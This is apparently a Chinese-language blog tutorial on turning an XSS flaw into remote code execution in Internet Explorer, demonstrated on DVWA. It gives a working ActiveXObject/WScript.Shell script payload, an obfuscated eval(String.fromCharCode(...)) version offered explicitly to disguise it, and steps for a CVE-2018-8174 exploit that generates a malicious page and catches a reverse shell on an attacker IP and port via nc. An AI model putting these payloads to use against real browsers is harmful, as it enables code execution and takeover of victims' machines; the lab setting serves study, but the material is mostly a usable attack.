为了提高XSS漏洞的严重性,这里利用JS在IE上实现RCE。

0x01 利用ActiveXObject

这里以DVWA的反射型XSS为示例,其他情形的XSS利用同理。

构造的JavaScript代码如下:

1
2
var o = new ActiveXObject("WScript.Shell");
o.run("calc.exe");

放到payload中:

1
<script>var o = new ActiveXObject("WScript.Shell");o.run("calc.exe");</script>

输入后无任何反应,但在控制台可看到报错:

这种利用方式id前提是需要在IE上打开Internet Explorer “工具”菜单栏中的“选项”-“安全”-“自定义级别”-“对没有标记为安全的activex控件进行初始化和脚本运行-设置成启用,如下:

修改设置后,再次提交payload,系统会弹框警告:

只要用户点击确定即可执行exp:

当然,为了掩饰,我们可以对代码进行加密,加密后代码如下:

1
String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10)

最终Exp如下:

1
<script>eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));</script>

0x02 结合CVE-2018-8174利用

这里我们可以引入浏览器漏洞,以CVE-2018-8174漏洞为例。

Exp下载地址:https://github.com/Yt1g3r/CVE-2018-8174_EXP

第一步——生成恶意exploit.hml文件

在命令行输入以下命令,得到exploit.html:

1
python CVE-2018-8174.py -u http://192.168.17.148:81 -i 192.168.17.160 -p 6666 -o exp.ctf

第二步——开启nc监听端口,并将exploit.html文件上传到服务器

其实exploit.html是一个通过script标签调用VBScript代码的页面,这种场景使用于存在XSS的页面,只需要将exploit.html中的script标签的内容作为输入即可进行XSS利用,这里只演示原理。

第三步——受害者访问exploit.html实现反弹shell

受害者访问exploit.html会显示报错:

监听端接受到反弹shell:

0x03 参考

记一次从DOM型XSS到RCE过程